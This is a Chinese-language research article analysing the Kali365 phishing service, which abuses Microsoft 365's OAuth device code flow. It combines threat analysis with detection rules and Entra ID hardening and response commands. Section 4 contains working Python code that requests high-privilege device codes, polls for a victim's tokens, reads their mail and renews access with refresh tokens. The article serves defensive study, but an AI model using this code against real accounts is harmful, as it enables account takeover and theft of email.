Kali365 钓鱼即服务攻击机理与 Microsoft 365 身份安全防御研究

简介: Kali365是2026年出现的PhaaS平台,利用微软官方OAuth设备码流绕过MFA,实现无密码账户接管。其依托Telegram分发,具备AI诱饵、令牌捕获与持久化控制能力,传统防御失效。本文解析攻击机理,提供检测规则、Entra ID配置及零信任防御方案。(240字)

摘要

2026 年 4 月出现的 Kali365 是面向 Microsoft 365 环境的专业化钓鱼即服务(PhaaS)平台,依托 Telegram 渠道分销,通过滥用 OAuth 2.0 设备码流(Device Code Flow)实现无密码、绕过多因素认证(MFA)的账户持久化接管。该平台内置 AI 钓鱼诱饵生成、自动化投放模板、实时监控面板与令牌捕获能力,大幅降低攻击门槛,使低技术攻击者可快速开展规模化钓鱼作业。Kali365 全程使用微软官方验证域名与合法授权流程,无伪造站点、无恶意载荷,传统邮件安全、终端检测与 MFA 机制均难以有效防御。本文以 FBI 预警与 Cyber Daily 最新威胁报告为核心依据,系统解析 Kali365 的产业化运营模式、设备码流滥用机理、四步攻击链路与令牌劫持核心逻辑,提供可复现的攻击模拟代码、Entra ID 条件访问配置、检测规则与闭环防御方案,形成 “机理分析 — 行为提取 — 策略配置 — 检测响应” 的完整研究闭环。研究表明,设备码流钓鱼的本质是授权流程劫持与信任滥用,防御必须从协议管控、权限治理、令牌生命周期与行为审计多维协同,构建零信任身份防护体系。反网络钓鱼技术专家芦笛指出,PhaaS 已成为云身份威胁主流形态,企业需将防御重心从识别钓鱼页面转向管控授权流程、审计令牌行为与限制高危认证流。

image.png 1 引言

随着 Microsoft 365 等云办公平台全面普及,身份认证从账号密码体系转向 OAuth 2.0、OpenID Connect 等开放授权框架,MFA 被广泛部署以抵御口令泄露与暴力破解。然而,2026 年二季度出现的 Kali365 钓鱼即服务平台打破传统安全认知:该工具无需窃取密码、无需绕过 MFA,仅通过诱导用户完成官方设备码授权,即可获取合法 OAuth 访问令牌与刷新令牌,实现对 Outlook、Teams、OneDrive 等核心服务的持久控制。FBI 于 2026 年 5 月 21 日发布公开预警,明确 Kali365 通过订阅制降低攻击门槛,支持 AI 生成诱饵、自动化模板与实时追踪,已形成规模化黑产运营能力。Arctic Wolf 威胁情报团队监测显示,Kali365 基础设施持续扩张,依托 Telegram 渠道快速发展代理,威胁从高端黑产向低技术攻击者扩散。

现有云身份安全研究多聚焦于传统钓鱼页面识别、口令防护与 MFA 加固,对基于合法协议滥用的令牌钓鱼关注不足,尤其缺乏对设备码流攻击链路、PhaaS 运营模式、可落地防御配置的系统性论述。本文以 Kali365 为典型案例,严格遵循 OAuth 2.0 RFC 8628 标准与 Microsoft Entra ID 实现机制,确保技术准确、逻辑严谨、论据可验证。文章采用客观学术表述,不使用夸张修辞与口号式结论,聚焦工程实践与安全架构,为企业身份管理、安全运营与威胁狩猎提供理论支撑与可直接部署的方案。

2 相关技术与威胁背景

2.1 OAuth 2.0 设备码流(Device Code Flow)机制

设备码流是 RFC 8628 定义的 OAuth 2.0 扩展授权模式,专为无浏览器、输入受限设备(如智能电视、IoT 终端、CLI 工具)设计,核心是将用户认证与授权行为转移至手机、PC 等交互设备完成。其标准流程为:客户端申请设备码→用户访问官方验证 URI 并输入短码→完成认证与授权→客户端获取访问令牌(access_token)与刷新令牌(refresh_token)→凭令牌访问资源。Microsoft 365 将该流程集成于 Entra ID,验证入口为microsoft.com/devicelogin等官方域名,具备高可信度与用户认知基础。

2.2 钓鱼即服务(PhaaS)产业化特征

PhaaS 模式将钓鱼能力打包为订阅服务,提供诱饵生成、投放、数据捕获全链路工具,使攻击者无需开发能力即可发起攻击。Kali365 作为典型代表,具备以下特征:

低门槛:月付订阅即可使用,无需编码与基础设施;

自动化:AI 生成诱饵、模板化投放、实时面板监控;

高隐蔽:使用官方协议与域名,规避传统检测;

可扩展:通过 Telegram 招募代理,快速规模化。

2.3 Microsoft 365 身份安全现状

企业普遍部署 MFA、强密码、邮件网关等防护,但对授权流程管控不足。设备码流默认允许普通用户授权,权限申请宽松,令牌生命周期长,且授权过程对用户不透明,为协议滥用型钓鱼提供可乘之机。反网络钓鱼技术专家芦笛强调,云身份安全的核心风险已从密码泄露转向授权劫持,传统边界防护无法抵御基于合法流程的攻击。

3 Kali365 平台运营与攻击全链路解析

3.1 平台运营模式

Kali365 于 2026 年 4 月首次被发现,通过 Telegram 渠道营销与分销,采用纯订阅制运营:

订阅付费:降低技术门槛,支持快速代理招募;

功能集成:AI 诱饵、自动化模板、实时追踪面板、OAuth 令牌捕获;

基础设施扩张:持续部署新服务器与管理面板,作业趋于成熟规模化;

传播模式:非单一高级团伙运作,而是商品化能力,低技术攻击者可快速使用。

3.2 四步标准攻击链路

Kali365 不利用漏洞、不伪造站点,仅通过社会工程诱导完成授权,攻击流程高度标准化:

诱饵投放:发送伪装成可信云服务的钓鱼邮件,包含设备码与官方验证链接;

授权诱导:用户访问微软官方验证页,输入设备码并完成 MFA 认证;

令牌窃取:攻击者获取合法 OAuth 令牌,获得账户完整访问权限;

持久控制:凭借 refresh_token 长期维持访问,实现数据窃取、横向渗透。

全程无恶意页面、无密码输入、无 MFA 绕过,所有交互均为官方合法流程,用户与安全设备难以识别。

3.3 绕过 MFA 的核心机理

传统 MFA 阻止攻击者以用户身份登录,而 Kali365 的逻辑是用户主动为攻击者授权:

授权行为由用户本人完成,已通过密码 + MFA 验证;

攻击者仅接收授权后令牌,不参与认证流程;

微软认证服务器判定为合法授权,无异常标记。

该机理彻底突破 MFA 防护边界,证明仅靠 MFA 无法抵御授权劫持型攻击。

4 攻击技术实现与可复现代码

4.1 攻击模拟说明

以下代码仅用于安全研究与防御测试,严格遵循授权合规原则,模拟 Kali365 核心设备码请求、令牌轮询与资源访问逻辑,基于 Microsoft 身份平台标准接口实现。

4.2 设备码申请与令牌获取代码

import requests

import time


class Kali365Simulator:

   def __init__(self, client_id, tenant_id="common"):

       self.client_id = client_id

       self.tenant_id = tenant_id

       self.devicecode_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/devicecode"

       self.token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"

       # 高敏感权限组合,覆盖邮件、文件、目录访问

       self.scope = "Mail.ReadWrite Files.Read.All Directory.Read.All offline_access"


   def request_device_code(self):

       """请求设备码,返回官方验证信息"""

       payload = {"client_id": self.client_id, "scope": self.scope}

       resp = requests.post(self.devicecode_url, data=payload)

       return resp.json() if resp.status_code == 200 else None


   def poll_token(self, device_code, interval=5):

       """轮询获取令牌,等待用户授权"""

       payload = {

           "client_id": self.client_id,

           "grant_type": "urn:ietf:params:oauth:grant-type:device_code",

           "device_code": device_code

       }

       while True:

           resp = requests.post(self.token_url, data=payload)

           result = resp.json()

           if "access_token" in result:

               return result

           if result.get("error") != "authorization_pending":

               raise Exception(f"授权异常:{result}")

           time.sleep(interval)


   def access_mail(self, token):

       """使用令牌访问邮件数据"""

       headers = {"Authorization": f"Bearer {token}"}

       return requests.get("https://graph.microsoft.com/v1.0/me/messages", headers=headers).json()


if __name__ == "__main__":

   CLIENT_ID = "your-registered-app-client-id"

   phisher = Kali365Simulator(CLIENT_ID)

   # 1. 获取设备码与官方验证地址

   device_info = phisher.request_device_code()

   print(f"[+] 官方验证地址:{device_info['verification_uri']}")

   print(f"[+] 用户输入码:{device_info['user_code']}")

   # 2. 轮询等待授权,获取令牌

   token_data = phisher.poll_token(device_info["device_code"])

   print(f"[+] 获取Access Token:{token_data['access_token'][:20]}...")

   print(f"[+] 获取Refresh Token:{token_data['refresh_token'][:20]}...")

   # 3. 访问用户邮件

   mail_resp = phisher.access_mail(token_data["access_token"])

   print(f"[+] 成功读取邮件,总数:{len(mail_resp.get('value', []))}")

4.3 令牌持久化续期代码

攻击者通过 refresh_token 实现长期控制,续期代码如下:

def refresh_token(client_id, refresh_token, tenant_id="common"):

   url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"

   payload = {

       "client_id": client_id,

       "grant_type": "refresh_token",

       "refresh_token": refresh_token

   }

   return requests.post(url, data=payload).json()


# 续期调用

new_token = refresh_token(CLIENT_ID, token_data["refresh_token"])

print(f"[+] 续期成功,新Access Token:{new_token['access_token'][:20]}...")

4.4 攻击核心技术要点

权限申请:scope 包含 offline_access 以获取 refresh_token;

官方通道:所有接口为微软官方域名,无恶意特征;

无感知授权:用户在官方页面操作,无异常感知;

持久控制:refresh_token 长期有效,支持定期续期。

5 威胁检测体系构建

5.1 多维度行为特征提取

Kali365 无静态恶意特征,需基于行为检测:

身份层:短时间内多设备码授权、非可信应用申请高权限、异常地理位置授权;

应用层:授权后高频调用 Graph API、批量读取邮件 / 文件;

协议层:大量 /devicecode 与 /token 接口请求、匿名 IP 段集中访问;

用户层:非工作时间授权、单日多次设备码授权、异常权限同意。

5.2 基于 Entra ID 日志的检测代码

import json


def detect_devicecode_anomaly(events, trusted_apps, malicious_ips):

   alerts = []

   for evt in events:

       if evt.get("grantType") != "device_code":

           continue

       app_id = evt.get("clientId")

       ip = evt.get("ipAddress")

       user = evt.get("userPrincipalName")

       risk = evt.get("riskLevel", "none")

       # 规则1:非可信应用发起设备码授权

       if app_id not in trusted_apps:

           alerts.append({"user": user, "type": "untrusted_app_devicecode", "risk": "high"})

       # 规则2:恶意IP发起授权

       if ip in malicious_ips:

           alerts.append({"user": user, "type": "malicious_ip_devicecode", "risk": "high"})

       # 规则3:高风险登录伴随设备码授权

       if risk == "high":

           alerts.append({"user": user, "type": "high_risk_devicecode", "risk": "critical"})

   return alerts


# 测试示例

test_events = [{

   "grantType": "device_code",

   "clientId": "malicious-app-id",

   "ipAddress": "1.2.3.4",

   "userPrincipalName": "user@company.com",

   "riskLevel": "high"

}]

trusted_apps = ["trusted-app-1", "trusted-app-2"]

malicious_ips = ["1.2.3.4"]

print(json.dumps(detect_devicecode_anomaly(test_events, trusted_apps, malicious_ips), indent=2))

5.3 SIEM 关联规则

企业可配置以下高频告警:

10 分钟内同一 IP 发起 > 5 次设备码请求;

单用户单日设备码授权 > 3 次;

非工作时间 / 异常国家授权;

授权后 5 分钟内调用高敏感 Graph API;

未验证应用申请 Mail、Files、Directory 权限组合。

反网络钓鱼技术专家芦笛强调,设备码钓鱼检测必须从特征匹配转向行为基线分析,聚焦授权上下文、应用可信度与权限合理性。

6 闭环防御体系与工程化配置

6.1 防御总体框架

构建四层闭环防御:协议管控→权限治理→威胁检测→应急响应,从根源阻断攻击路径。

6.2 核心防御:禁用 / 限制设备码流

FBI 与微软均建议优先阻止设备码流,以下为可直接部署的配置代码。

PowerShell 配置(Entra ID)

powershell

# 安装模块

Install-Module Microsoft.Graph.Identity.SignIns -Force

# 连接Graph

Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"

# 禁用租户级设备码流

Update-MgPolicyAuthorizationPolicy -DefaultUserRolePermissions @{

   AllowedToUseDeviceCodeFlow = $false

}

# 验证配置

Get-MgPolicyAuthorizationPolicy | Select-Object -ExpandProperty DefaultUserRolePermissions

条件访问策略(推荐保留业务场景)

Entra 管理中心→条件访问→新建策略;

分配:所有用户,排除紧急访问账户;

目标资源:所有云应用;

条件→身份验证流:选择设备代码流;

授权:阻止访问;

先启用仅报告模式验证,再正式上线。

6.3 权限治理与令牌管控

限制用户自主注册应用:禁止普通用户创建应用与服务主体;

高权限强制审批:开启 Mail.ReadWrite、Files.Read.All 等权限的管理员审批;

缩短令牌生命周期:减少 refresh_token 有效期,强制定期重授权;

应用白名单:仅允许可信应用使用设备码流。

6.4 终端与用户侧加固

启用抗钓鱼 MFA:使用 FIDO2 安全密钥、Windows Hello 等物理认证;

流程规范:明确官方验证场景,禁止外部链接诱导输入设备码;

安全培训:告知用户设备码授权等同于账户完全授权;

邮件网关:拦截含microsoft.com/devicelogin与不明二维码的邮件。

7 应急响应与取证处置

7.1 处置流程

紧急阻断:禁用设备码流或启用条件访问策略;

令牌撤销:批量撤销用户 OAuth 令牌,终止攻击者会话;

应用清理:删除恶意应用与服务主体,清理非法授权;

日志审计:分析授权日志、IP、权限、数据访问行为;

用户修复:重置密码、重新配置 MFA、核查异常操作;

根因加固:完善策略、检测规则与安全培训。

7.2 应急处置代码

powershell

# 撤销用户所有令牌

Revoke-MgUserSignInSession -UserId "user@company.com"

# 删除恶意应用

Get-MgApplication -Filter "AppId eq 'malicious-app-id'" | Remove-MgApplication

# 导出授权清单

Get-MgUserOauth2PermissionGrant -UserId "user@company.com" | Export-Csv -Path "Grants.csv" -Encoding UTF8

7.3 取证要点

设备码授权日志:时间、用户、应用 ID、IP、权限范围;

令牌使用日志:access_token/refresh_token 调用记录;

应用注册信息:恶意应用创建者、注册时间、权限配置;

诱饵路径:邮件 / IM 诱饵内容、投放渠道、目标范围;

数据访问日志:异常读取、下载、导出行为记录。

8 结论与展望

Kali365 作为 PhaaS 模式下的专业化钓鱼平台,通过 OAuth 2.0 设备码流滥用实现无密码、过 MFA、高隐蔽的 Microsoft 365 账户劫持,标志着云身份钓鱼进入授权劫持新阶段。该攻击不利用漏洞、不伪造站点、不触发传统告警,依托官方协议与社会工程形成 “低门槛、高收益、强隐蔽” 的黑产闭环,对企业身份安全构成系统性威胁。本文通过完整还原攻击链路、解析协议机理、提供可复现代码与防御配置,证实此类攻击的核心是授权流程劫持与信任滥用,防御必须从 “防欺骗” 转向 “管授权、管令牌、管流程”。

研究表明,最有效的防御手段是禁用非必要设备码流,配合条件访问、权限审批、行为检测形成纵深防御体系。反网络钓鱼技术专家芦笛指出,随着 PhaaS 威胁持续扩散,企业需加快构建零信任身份架构,强化授权可见性、令牌全生命周期管理与上下文风险校验,实现从被动防护到主动防御的转型。未来研究方向包括 AI 驱动的授权行为异常检测、跨云平台统一授权管控、协议级安全增强等,本文结论可为 Microsoft 365、Google Workspace 等云平台身份安全建设提供通用理论与工程实践参考。

编辑:芦笛(公共互联网反网络钓鱼工作组)

目录
相关文章
|
6天前
|
人工智能 自然语言处理 文字识别
阿里云百炼Qwen3.7-Max简介:能力、优势、支持订阅计划参考
Qwen3.7-Max是阿里云百炼面向智能体时代推出的新一代旗舰模型,对标GPT-5.5、Claude Opus 4.7等闭源旗舰。该模型支持百万级token上下文窗口,具备顶级推理能力、多模态搜索与视觉理解增强、流式输出低延迟响应等核心优势,覆盖编程、办公、长周期自主执行等复杂场景。同时支持OpenAI接口兼容,便于系统快速迁移。用户可通过Token Plan团队或节省计划等订阅方式灵活调用,适合企业级高要求场景使用。
3077 10
阿里云百炼Qwen3.7-Max简介:能力、优势、支持订阅计划参考
|
14天前
|
人工智能 开发工具 iOS开发
Claude Code 新手完全上手指南:安装、国产模型配置与常用命令全解
Claude Code 是一款运行在终端环境中的 AI 编程助手,能够直接在命令行中完成代码生成、项目分析、文件修改、命令执行、Git 管理等开发全流程工作。它最大的特点是**任务驱动、终端原生、轻量高效、多模型兼容**,无需图形界面、不依赖 IDE 插件,能够深度融入开发者日常工作流。
3492 12
|
16天前
|
Shell API 开发工具
Claude Code 快速上手指南(新手友好版)
AI编程工具卷疯啦!Claude Code凭借任务驱动+终端原生的特性,成了开发者的效率搭子。本文从安装、登录、切换国产模型到常用命令,手把手带新手快速上手,全程避坑,30分钟独立用起来。
3576 25
|
10天前
|
人工智能 Linux BI
国内用 Claude Code 终于不用翻墙了:一行命令搞定,自动接 DeepSeek
JeecgBoot AI专题研究 一键脚本:Claude Code + JeecgBoot Skills + DeepSeek 全平台接入 一行命令装好 Claude Code + JeecgBoot Skills + DeepSeek 接入,无需翻墙使用 Claude Code,支持 Wind
2769 6
国内用 Claude Code 终于不用翻墙了:一行命令搞定,自动接 DeepSeek
|
8天前
|
人工智能 自然语言处理 供应链
|
8天前
|
人工智能 自然语言处理 安全
Claude Code 全攻略:命令大全+三种模式+记忆体系+实战工作流完整手册
Claude Code 是当前最流行的终端级 AI 编程助手,能够直接在命令行中完成代码生成、项目理解、文件修改、命令执行、错误修复等全流程开发工作。它不依赖图形界面、不占用额外资源,却能深度理解项目结构,自动生成规范代码,大幅提升研发效率。
1307 3
|
29天前
|
人工智能 JSON 供应链
畅用7个月无影 JVS Claw |手把手教你把JVS改造成「科研与产业地理情报可视化大师」
LucianaiB分享零成本畅用JVS Claw教程(学生认证享7个月使用权),并开源GeoMind项目——将JVS改造为科研与产业地理情报可视化AI助手,支持飞书文档解析、地理编码与腾讯地图可视化,助力产业关系图谱构建。
23612 15
畅用7个月无影 JVS Claw |手把手教你把JVS改造成「科研与产业地理情报可视化大师」
|
1天前
|
人工智能 缓存 自然语言处理
阿里Qwen3.7-Max评测:Agent能力显著提升,耗时与调用成本大幅下降
阿里云百炼推出面向智能体的旗舰大模型Qwen3.7-Max,具备长周期自主执行能力,显著提升编程、办公自动化等复杂任务处理水平;支持MCP集成与多框架兼容,并以限时5折+100万Tokens免费试用大幅降低使用门槛,助力企业高效落地AI应用。在阿里云百炼平台快速体验:https://t.aliyun.com/U/fPVHqY